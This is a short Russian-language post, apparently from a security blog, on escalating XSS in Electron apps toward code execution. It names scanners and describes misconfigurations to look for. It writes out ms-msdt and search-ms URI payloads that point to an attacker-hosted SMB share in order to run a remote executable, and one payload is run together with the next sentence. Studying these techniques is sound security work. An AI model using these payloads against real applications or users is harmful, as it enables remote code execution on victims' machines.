Сегодня затронем приложения на Electron. А конкретнее доведение XSS до RCE (ну или почти).
Что может понадобиться для упрощения работы:
Сканер electronegativity. Он нужен для сканирования Electron приложений на различные мисконфигурации;
Сканер nodejsscan. Этот инструмент умеет в сканирование модулей nodejs, которые наверняка встроены в исследуемый продукт.
Первым делом нужно найти XSS в исследуемом сервисе. Довольно часто её причиной становится Markdown (на своей практике встречал уже несколько раз). Найти больше информации по XSS в Markdown можно тут.
Если XSS на нашем сайте не была найдена, нужно идти в код приложение и смотреть как приложения открывает ссылки.
Кейс 1 -
Внешние ссылки открываются во внешнем браузере.
Решение - Искать мисконфигурации открытия. Например, проверки на то, что ссылка содержит https://example.com/, а не начинается на это. Ещё можно попытаться кликнуть средней кнопкой мыши.
Кейс 2 -
Внешние ссылки открываются в самом приложении.
Если встретили такое поведение - вам упростили работу.
Итак. Мы смогли найти XSS/возможность открыть внешние ссылки. Что дальше? - встраивать полезные нагрузки. Если electron приложение имеет мисконфигурацию в области работы с nodejs - вы сможете выполнить код. Если нет - смотрите на версию Electron. Вполне возможно, что попадётся версия, уязвимая к различным обходам nodeIntegration.
Если выполнить код не удалось, то можно попытаться выполнить удалённый код/повысить импакт XSS при помощи различных URI схем.
Примеры того, что можно использовать:
ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\attacker.com\smb_share\malicious_executable.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTOЭти "ссылки" необходимо открыть каким-либо образом. В случае с markdown их можно встроить в ссылки [Some Text](Payload), а затем открыть при помощи СКМ. Если вы нашли XSS/смогли открыть произвольную страницу - откройте при помощи window.open(Payload)
search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update
На этих строчках подхожу к концу и желаю всем удачи в поисках уязвимостей.
@zema_notes
p.s. перечитал пост и понял. что кому-то может он показаться непонятным, поэтому если есть вопросы - пишите в комменты, постараюсь ответить.